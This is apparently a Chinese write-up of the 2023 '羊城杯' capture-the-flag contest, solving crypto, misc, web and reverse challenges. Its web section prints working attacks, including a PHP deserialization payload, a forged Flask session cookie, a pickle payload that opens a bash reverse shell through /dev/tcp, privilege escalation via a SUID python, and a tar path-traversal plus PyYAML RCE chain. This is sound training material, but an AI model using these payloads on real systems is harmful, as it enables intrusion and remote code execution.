竞赛时间
2023-09-02 09:00:00~2023-09-03 09:00:00
竞赛简介
目前我国网民规模已突破9亿,成为名副其实的网络大国,但我国与网络强国相比还有一定距离。习近平总书记指出:要建立高素质网络安全和信息化人才队伍,将我国建设成网络强国。建设网络强国需要高素质的网络安全和信息化人才队伍。网络安全人才是国家网络安全建设的核心资源,其数量、质量和结构是衡量国家网络安全软实力和竞争力的重要标志。 为积极响应国家网络强国建设对网络安全人才的需求,提升人民的网络安全知识水平和实践力,特举办2023年“羊城杯”网络安全大赛。
MISC
EZ_misc
一道简单的misc捏..
16进制查看,末尾修改 504b0403
为 504b0304
后提取出zip文件,得到一串密文 vzbtrvplnnvphsqkxsiqibroou
。
根据图片名Grons和压缩包内文件名feld,组合得到Gronsfeld为一种密码,爆破密钥得到提示:try to think the s nipping tools
,为Win10/11截图工具漏洞aCropalypse(CVE-2023-28303)。
利用Acropalypse Multi Tool工具修复png宽高,还原得到flag:
CRYPTO
Danger_RSA
看似简单的rsa
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26 from Crypto.Util.number import *
m = bytes_to_long(flag)
def get_key(a, nbit):
assert a >= 2
while True:
X = getRandomInteger(nbit // a)
s = getRandomRange(pow(2, a ** 2 - a + 4), pow(2, a ** 2 - a + 5))
p = X ** a + s
if isPrime(p):
return (p, s)
p, s = get_key(a, 1024)
q, t = get_key(a, 1024)
N = p * q
e = s * t
c = pow(m, e, N)
print("N =", N)
print("e =", e)
print("c =", c)
# N = 20289788565671012003324307131062103060859990244423187333725116068731043744218295859587498278382150779775620675092152011336913225797849717782573829179765649320271927359983554162082141908877255319715400550981462988869084618816967398571437725114356308935833701495015311197958172878812521403732038749414005661189594761246154666465178024563227666440066723650451362032162000998737626370987794816660694178305939474922064726534186386488052827919792122844587807300048430756990391177266977583227470089929347969731703368720788359127837289988944365786283419724178187242169399457608505627145016468888402441344333481249304670223
# e = 11079917583
# c = 13354219204055754230025847310134936965811370208880054443449019813095522768684299807719787421318648141224402269593016895821181312342830493800652737679627324687428327297369122017160142465940412477792023917546122283870042482432790385644640286392037986185997262289003477817675380787176650410819568815448960281666117602590863047680652856789877783422272330706693947399620261349458556870056095723068536573904350085124198592111773470010262148170379730937529246069218004969402885134027857991552224816835834207152308645148250837667184968030600819179396545349582556181916861808402629154688779221034610013350165801919342549766
$N$ 为2038位,$p,q$ 至少为1024位,且生成函数 get_key()
的 $p=X^a+s$ 有 $X^a \gt\gt s$,且 $e$ 为34位,$s<e$,故 $a$ 值不会太大,尝试爆破 $a$ 值:
1 | from Crypto.Util.number import * |
$a=4$ 时满足 $e=s \cdot t$ 的位数条件,有 $s \in [2^{a^2-a+4},2^{a^2-a+5})=[65536,131072)$。
分解 $e$,尝试其各因子,求 $s,t$:
1 | a = 4 |
带入有 $p=X_1^4+s,q=X_2^4+t$,又 $X_1^4 \gt\gt s,X_2^4 \gt\gt t$,有 $(X_1X_2)^4 \approx N$,即 $X_1X_2= \lfloor\sqrt[4]{N}\rfloor$。结合 $N=pq=(X_1^4+s)(X_2^4+t)$,解 $X_1,X_2$:
1 | import gmpy2 |
Easy_3L
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58 from gmpy2 import *
from Crypto.Util.number import *
from secret import flag
m = bytes_to_long(flag)
def get_key():
p = getPrime(1400)
f = getRandomNBitInteger(1024)
while True:
q = getPrime(512)
if gcd(f, q) != 1:
continue
else:
break
h = (invert(f, p) * q) % p
return p, h
def encrypt1(m):
a = getPrime(250)
b = getRandomNBitInteger(240)
n = getPrime(512)
seed = m
s = [0] * 6
s[0] = seed
for i in range(1, 6):
s[i] = (s[i - 1] * a + b) % n
return s
def encrypt2(msg, p, h):
s = getRandomNBitInteger(512)
c = (s * h + msg) % p
return c
s = encrypt1(m)
print("S1 =", s[1])
print("S2 =", s[2])
print("S4 =", s[4])
print("S5 =", s[5])
p, h = get_key()
c = encrypt2(s[3], p, h)
print("p =", p)
print("h =", h)
print("c =", c)
# S1 = 28572152986082018877402362001567466234043851789360735202177142484311397443337910028526704343260845684960897697228636991096551426116049875141
# S2 = 1267231041216362976881495706209012999926322160351147349200659893781191687605978675590209327810284956626443266982499935032073788984220619657447889609681888
# S4 = 9739918644806242673966205531575183334306589742344399829232076845951304871478438938119813187502023845332528267974698273405630514228632721928260463654612997
# S5 = 9755668823764800147393276745829186812540710004256163127825800861195296361046987938775181398489372822667854079119037446327498475937494635853074634666112736
# p = 25886434964719448194352673440525701654705794467884891063997131230558866479588298264578120588832128279435501897537203249743883076992668855905005985050222145380285378634993563571078034923112985724204131887907198503097115380966366598622251191576354831935118147880783949022370177789175320661630501595157946150891275992785113199863734714343650596491139321990230671901990010723398037081693145723605154355325074739107535905777351
# h = 2332673914418001018316159191702497430320194762477685969994411366563846498561222483921873160125818295447435796015251682805613716554577537183122368080760105458908517619529332931042168173262127728892648742025494771751133664547888267249802368767396121189473647263861691578834674578112521646941677994097088669110583465311980605508259404858000937372665500663077299603396786862387710064061811000146453852819607311367850587534711
# c = 20329058681057003355767546524327270876901063126285410163862577312957425318547938475645814390088863577141554443432653658287774537679738768993301095388221262144278253212238975358868925761055407920504398004143126310247822585095611305912801250788531962681592054588938446210412897150782558115114462054815460318533279921722893020563472010279486838372516063331845966834180751724227249589463408168677246991839581459878242111459287
encrypt1()
和 encrypt2()
分别是LCG和NTRU。
1 | h = 2332673914418001018316159191702497430320194762477685969994411366563846498561222483921873160125818295447435796015251682805613716554577537183122368080760105458908517619529332931042168173262127728892648742025494771751133664547888267249802368767396121189473647263861691578834674578112521646941677994097088669110583465311980605508259404858000937372665500663077299603396786862387710064061811000146453852819607311367850587534711 |
SigninCrypto
随机数真随机吗?如随!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69 from random import *
from Crypto.Util.number import *
from Crypto.Cipher import DES3
from flag import flag
from key import key
from iv import iv
import os
import hashlib
import secrets
K1= key
hint1 = os.urandom(2) * 8
xor =bytes_to_long(hint1)^bytes_to_long(K1)
print(xor)
def Rand():
rseed = secrets.randbits(1024)
List1 = []
List2 = []
seed(rseed)
for i in range(624):
rand16 = getrandbits(16)
List1.append(rand16)
seed(rseed)
for i in range(312):
rand64 = getrandbits(64)
List2.append(rand64)
with open("task.txt", "w") as file:
for rand16 in List1:
file.write(hex(rand16)+ "\n")
for rand64 in List2:
file.write(hex((rand64 & 0xffff) | ((rand64 >> 32) & 0xffff) << 16) + "\n")
Rand()
K2 = long_to_bytes(getrandbits(64))
K3 = flag[:8]
KEY = K1 + K2 + K3
IV=iv
IV1=IV[:len(IV)//2]
IV2=IV[len(IV)//2:]
digest1 = hashlib.sha512(IV1).digest().hex()
digest2 = hashlib.sha512(IV2).digest().hex()
digest=digest1+digest2
hint2=(bytes_to_long(IV)<<32)^bytes_to_long(os.urandom(8))
print(hex(bytes_to_long((digest.encode()))))
print(hint2)
mode = DES3.MODE_CBC
des3 = DES3.new(KEY, mode, IV)
pad_len = 8 - len(flag) % 8
padding = bytes([pad_len]) * pad_len
flag += padding
cipher = des3.encrypt(flag)
ciphertext=cipher.hex()
print(ciphertext)
# 334648638865560142973669981316964458403
# 0x62343937373634656339396239663236643437363738396663393438316230353665353733303939613830616662663633326463626431643139323130616333363363326631363235313661656632636265396134336361623833636165373964343533666537663934646239396462323666316236396232303539336438336234393737363465633939623966323664343736373839666339343831623035366535373330393961383061666266363332646362643164313932313061633336336332663136323531366165663263626539613433636162383363616537396434353366653766393464623939646232366631623639623230353933643833
# 22078953819177294945130027344
# a6546bd93bced0a8533a5039545a54d1fee647007df106612ba643ffae850e201e711f6e193f15d2124ab23b250bd6e1
3DES加密,key由三部分组成,$K_1$ 根据不同位数异或得到random的两个字节值,$K_2$ 利用MT19937算法计算输出值,$K_3$ 为flag前八位,即 'DASCTF{'+?
,共需爆破1个可见字符;8字节iv,由sha512结果知前后4字节相同,由hint2知,iv右移4字节后错位异或,hint2高4位即为4字节iv值。
1 | import string |
esyRSA
好像这个RSA有点怪啊!私钥给你了!我的e呢?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17 from gmpy2 import invert
from md5 import md5
from secret import p, q
e = ?????
n = p*q
phi = (p-1)*(q-1)
d = invert(e, phi)
ans = gcd(e,phi)
print n, e, d
print "Flag: DASCTF{%s}" %md5(str(p + q)).hexdigest()
"""
n = 8064259277274639864655809758868795854117113170423331934498023294296505063511386001711751916634810056911517464467899780578338013011453082479880809823762824723657495915284790349150975180933698827382368698861967973964030509129133021116919437755292590841218316278732797712538885232908975173746394816520256585937380642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373
d = 14218766449983537783699024084862960813708451888387858392014856544340557703876299258990323621963898510226357248200187173211121827541826897886277531706124228848229095880229718049075745233893843373402201077890407507625110061976931591596708901741146750809962128820611844426759462132623616118530705745098783140913
"""
$n$ 直接给得有问题,重复了一遍,巨坑。
正确的 $n=$80642592772746398646558097588687958541171131704233319344980232942965050635113860017117519166348100569115174644678997805783380130114530824798808098237628247236574959152847903491509751809336988273823686988619679739640305091291330211169194377552925908412183162787327977125388852329089751737463948165202565859373
$n$ 与 $d$ 位数相近,$e$ 很小,Wiener Attack /爆破/求 $e$:
1 | n = |
再已知 $n,e,d$ 求 $p,q$:
1 | import random |
MCeorpkpleer
这数据都不全要怎么计算呢
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46 from Crypto.Util.number import *
from secret import flag
def pubkey(list, m, w):
pubkey_list = []
for i in range(len(e_bin)):
pubkey_list.append(w * list[i] % m)
return pubkey_list
def e_cry(e, pubkey):
pubkey_list = pubkey
encode = 0
for i in range(len(e)):
encode += pubkey_list[i] * int(e[i]) % m
return encode
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = getPrime(64)
m = bytes_to_long(flag)
c = pow(m, e, n)
e_bin = (bin(e))[2:]
list = [pow(3, i) for i in range(len(e_bin))]
m = getPrime(len(bin(sum(list))) - 1)
w = getPrime(64)
pubkey = pubkey(list, m, w)
en_e = e_cry(e_bin, pubkey)
print('p = {}\n'
'n = {}\n'
'c = {}\n'
'pubkey = {}\n'
'en_e = {}'.format((p >> 435) << 435, n, c, pubkey, en_e))
'''
p = 139540788452365306201344680691061363403552933527922544113532931871057569249632300961012384092481349965600565669315386312075890938848151802133991344036696488204791984307057923179655351110456639347861739783538289295071556484465877192913103980697449775104351723521120185802327587352171892429135110880845830815744
n = 22687275367292715121023165106670108853938361902298846206862771935407158965874027802803638281495587478289987884478175402963651345721058971675312390474130344896656045501040131613951749912121302307319667377206302623735461295814304029815569792081676250351680394603150988291840152045153821466137945680377288968814340125983972875343193067740301088120701811835603840224481300390881804176310419837493233326574694092344562954466888826931087463507145512465506577802975542167456635224555763956520133324723112741833090389521889638959417580386320644108693480886579608925996338215190459826993010122431767343984393826487197759618771
c = 156879727064293983713540449709354153986555741467040286464656817265584766312996642691830194777204718013294370729900795379967954637233360644687807499775502507899321601376211142933572536311131955278039722631021587570212889988642265055045777870448827343999745781892044969377246509539272350727171791700388478710290244365826497917791913803035343900620641430005143841479362493138179077146820182826098057144121231954895739989984846588790277051812053349488382941698352320246217038444944941841831556417341663611407424355426767987304941762716818718024107781873815837487744195004393262412593608463400216124753724777502286239464
pubkey = [18143710780782459577, 54431132342347378731, 163293397027042136193, 489880191081126408579, 1469640573243379225737, 4408921719730137677211, 13226765159190413031633, 39680295477571239094899, 119040886432713717284697, 357122659298141151854091, 1071367977894423455562273, 3214103933683270366686819, 9642311801049811100060457, 28926935403149433300181371, 86780806209448299900544113, 260342418628344899701632339, 781027255885034699104897017, 2343081767655104097314691051, 7029245302965312291944073153, 21087735908895936875832219459, 63263207726687810627496658377, 189789623180063431882489975131, 569368869540190295647469925393, 1708106608620570886942409776179, 601827224419797931380408071500, 1805481673259393794141224214500, 893952418336266652976851386463, 2681857255008799958930554159389, 3523079163584485147344841221130, 1524252287869625983140881149316, 50264262166963219975822190911, 150792786500889659927466572733, 452378359502668979782399718199, 1357135078508006939347199154597, 4071405235524020818041597463791, 3169230503688232995231149877299, 462706308180869526799807117823, 1388118924542608580399421353469, 4164356773627825741198264060407, 3448085117999647764701149667147, 1299270151115113835209806487367, 3897810453345341505629419462101, 2648446157152195057994615872229, 3422845870014670444537026359650, 1223552407160181874717436564876, 3670657221480545624152309694628, 1966986461557807413563286569810, 1378466783231507511243038452393, 4135400349694522533729115357179, 3361215846199738142293703557463, 1038662335715384967987468158315, 3115987007146154903962404474945, 302975818554635252993570910761, 908927455663905758980712732283, 2726782366991717276942138196849, 3657854499533237101379593333510, 1928578295715881845245137486456, 1263242285705730806288591202331, 3789726857117192418865773606993, 2324195368467747797703678306905, 2450093503961328663664213663678, 2827787910442071261545819733997, 3960871129884299055190637944954, 2837628186769067706678271320788]
en_e = 31087054322877663244023458448558
'''
根据已知 $p$ 高位,用coppersmith算法恢复 $p$。
对于 $e$,已知 $s_i = w \cdot 3^i \bmod m$,已知 $3^i$ 和 $s_i$,未知 $w$ 和 $m$。
由 $\begin{cases} s_i = w \cdot 3^i \bmod m \newline s_{i+1} = w \cdot 3^{i+1} \bmod m \end{cases}$,即 $\begin{cases} w \cdot 3^i = s_i+k_1m \newline w \cdot 3^{i+1} = s_{i+1}+k_2m \end{cases}$,
两式相除,得 $(3s_i-s_{i+1})=(3k_1-k_2)m=km$,故求gcd可得 $m$,再按背包密码求解。
1 | ph = |
XOR贯穿始终
一切都是有意义的,拿下它吧。
massege.txt
中为社会价值观编码,解码得压缩包密码:C0ngr4tulati0n5_y0u_fou^d_m3
,注释:钥匙先别扔掉,万一后面还有用呢
。
task.py
:
1 | from gmpy2 import gcd |
pri.pem
:
1 | -----BEGIN PRIVATE KEY----- |
按照私钥结构,将私钥base64解码转hex分析:
1 | 30820277 # 多余部分 |
解RSA:
1 | c = 91817924748361493215143897386603397612753451291462468066632608541316135642691873237492166541761504834463859351830616117238028454453831120079998631107520871612398404926417683282285787231775479511469825932022611941912754602165499500350038397852503264709127650106856760043956604644700201911063515109074933378818 |
结合压缩包注释,将结果与压缩包密码C0ngr4tulati0n5_y0u_fou^d_m3
高位补 \x00
,
右对齐异或得flag:DASCTF{0e2874af5e422482378640e61d919e9a}
。
WEB
D0n’t pl4y g4m3!!! -FIX
小明不小心沉迷⚪⚪的东西把源码和猫猫搞丢了,请帮他找回来。请访问/p0p.php
bp访问 /p0p.php
,提示:# ./有hint.zip
,
访问 hint.zip
,在线尊嘟假嘟解码,得 flag在/tmp/catcatf1ag.txt
。
查看首页发现使用了PHP Development Server,当PHP<=7.4.21时Development Server存在源码泄露漏洞(CNVD-2023-05738),该漏洞源于php cli server begin send static在解析http请求时存在逻辑漏洞,攻击者可利用该漏洞将两个请求拼接至一个http请求中导致服务器将php文件作为静态文件返回。
构造请求走私:
1 | GET /p0p.php |
拿到 p0p.php
的源码:
1 |
|
分析构造反序列化链,由 Bei:__destruct()
开始,调用到 Yang:__call()
中的 call_user_func()
函数RCE:
1 | from phpserialize import serialize |
双写system绕过关键词过滤,POST传参:
CTF=O:3:"Bei":3:{s:3:"CTF";O:4:"Yang":2:{s:6:"finish";O:4:"Yang":1:{s:6:"finish";O:4:"Yang":1:{s:6:"finish";i:1;}}s:3:"now";a:1:{s:4:"YCB1";s:6:"systsystemem";}}s:4:"fine";O:4:"Yang":2:{s:6:"finish";r:3;s:3:"now";a:1:{s:4:"YCB1";s:6:"systsystemem";}}s:3:"rce";s:23:"cat /tmp/catcatf1ag.txt";}
得到flag:DASCTF{54675642781313253235583695043371}
。
Serpent
I have been endeavoring to Reduce my phobia of Serpents by learning more about them. Do not scan, note that there is a www.zip file under the website.
尝试解flask session:
flask-unsign --decode --cookie 'eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjAsIm5hbWUiOiJHV0hUIiwic2VjcmV0X2tleSI6IkdXSFR4Y3VMeGhWZVFBIn19.ZPLWRw.5YHps4KX1FfZNY5xe9-25Nckl7s'
得:{'Attribute': {'admin': 0, 'name': 'GWHT', 'secret_key': 'GWHTxcuLxhVeQA'}}
包含secret_key,修改为:{'Attribute': {'admin': 1, 'name': 'admin', 'secret_key': 'GWHTxcuLxhVeQA'}}
,加密后改cookie:
flask-unsign --sign --cookie "{'Attribute': {'admin': 1, 'name': 'admin', 'secret_key': 'GWHTxcuLxhVeQA'}}" --secret 'GWHTxcuLxhVeQA'
得到提示:Hello admin, welcome to /ppppppppppick1e
。
访问 ppppppppppick1e
路由,在Header发现:Hint: Source in /src0de
,得到源码:
1 |
|
python反序列化,测试发现禁用R指令,参考这里使用不带R指令的RCE payload:
b'\x80\x03c__main__\nGWHT\n)\x81}(V__setstate__\ncos\nsystem\nubVbash -c "bash -i >& /dev/tcp/[IP]/[Port] 0>&1"\nb.'
base64编码后给cookie中的 pick1e
赋值,成功反弹shell。
读根目录下flag发现无权限,查看SUID可执行文件:
find / -perm -u=s -type f 2>/dev/null
,
发现 /usr/bin/python3.8
,执行 python3.8 -c "print(open('/flag').read())"
读到flag:DASCTF{62339708167284198788958643730094}
。
ArkNights
Fantasy world full of magic and dream…………….
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47 import uuid
from flask import *
from werkzeug.utils import *
app = Flask(__name__)
app.config['SECRET_KEY'] =str(uuid.uuid4()).replace("-","*")+"Boogipopisweak"
def index():
name=request.args.get("name","name")
m1sery=[request.args.get("m1sery","Doctor.Boogipop")]
if(session.get("name")=="Dr.Boog1pop"):
blacklist=re.findall("/ba|sh|\\\\|\[|]|#|system|'|\"/", name, re.IGNORECASE)
if blacklist:
return "bad hacker no way"
exec(f'for [{name}] in [{m1sery}]:print("strange?")')
else:
session['name'] = "Doctor"
return render_template("index.html",name=session.get("name"))
def read():
file = request.args.get('file')
fileblacklist=re.findall("/flag|fl|ag/",file, re.IGNORECASE)
if fileblacklist:
return "bad hacker!"
start=request.args.get("start","0")
end=request.args.get("end","0")
if start=="0" and end=="0":
return open(file,"rb").read()
else:
start,end=int(start),int(end)
f=open(file,"rb")
f.seek(start)
data=f.read(end)
return data
def render_page(path):
print(os.path.pardir)
print(path)
if not os.path.exists("templates/" + path):
return "not found", 404
return render_template(path)
if __name__=='__main__':
app.run(
debug=False,
host="0.0.0.0"
)
print(app.config['SECRET_KEY'])
非预期,利用 read
路由读环境变量文件 /proc/1/environ
文件找到flag:/read?file=/proc/1/environ
。
DASFLAG=DASCTF{67528847472042710457227886304140}
预期解应该是分别通过 /proc/self/maps
和 /proc/self/mem
读取堆栈分布和对应位置内存数据拿到SECRET_KEY值,再修改flask session绕黑名单RCE。
ezyaml
简单得yaml
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76 # app.py
import tarfile
from flask import Flask, render_template, request, redirect
from hashlib import md5
import yaml
import os
import re
app = Flask(__name__)
def waf(s):
flag = True
blacklist = ['bytes','eval','map','frozenset','popen','tuple','exec','\\','object','listitems','subprocess','object','apply']
for no in blacklist:
if no.lower() in str(s).lower():
flag= False
print(no)
break
return flag
def extractFile(filepath, type):
extractdir = filepath.split('.')[0]
if not os.path.exists(extractdir):
os.makedirs(extractdir)
if type == 'tar':
tf = tarfile.TarFile(filepath)
tf.extractall(extractdir)
return tf.getnames()
def main():
fn = 'uploads/' + md5().hexdigest()
if not os.path.exists(fn):
os.makedirs(fn)
return render_template('index.html')
def upload():
if request.method == 'GET':
return redirect('/')
if request.method == 'POST':
upFile = request.files['file']
print(upFile)
if re.search(r"\.\.|/", upFile.filename, re.M|re.I) != None:
return "<script>alert('Hacker!');window.location.href='/upload'</script>"
savePath = f"uploads/{upFile.filename}"
print(savePath)
upFile.save(savePath)
if tarfile.is_tarfile(savePath):
zipDatas = extractFile(savePath, 'tar')
return render_template('result.html', path=savePath, files=zipDatas)
else:
return f"<script>alert('{upFile.filename} upload successfully');history.back(-1);</script>"
def src():
if request.args:
username = request.args.get('username')
with open(f'config/{username}.yaml', 'rb') as f:
Config = yaml.load(f.read())
return render_template('admin.html', username="admin", message="success")
else:
return render_template('index.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
开始一个上传点,根据源码知 upload
路由知当上传tar后缀的文件时,回执行解压代码,将文件解压到uploads目录下,利用tar目录穿越漏洞,将文件解压到config目录下,配合下一步 src
路由功能中存在的PyYAML漏洞(CVE-2020-1747),实现RCE。
生成tar文件:
1 | import tarfile |
上传,回显解压到 ../../config/my.yaml
,my.yaml
已在config目录下,再访问 /src?username=my
反弹shell成功,执行 cat /fllaagg_here
得到flag:DASCTF{13247551631744504376506324559899}
。
REVERSE
CSGO
Let’s Go!!
go语言程序,找到最后比较的base64密文为:
cPQebAcRp+n+ZeP+YePEWfP7bej4YefCYd/7cuP7WfcPb/URYeMRbesObi/=
动调加密函数 fkReverse_()
,在码表变量 fkReverse
处下断点,调试得实际码表:
LMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/ABCDEFGHIJK
base64解密得flag:DASCTF{73913519-A0A6-5575-0F10-DDCBF50FA8CA}
。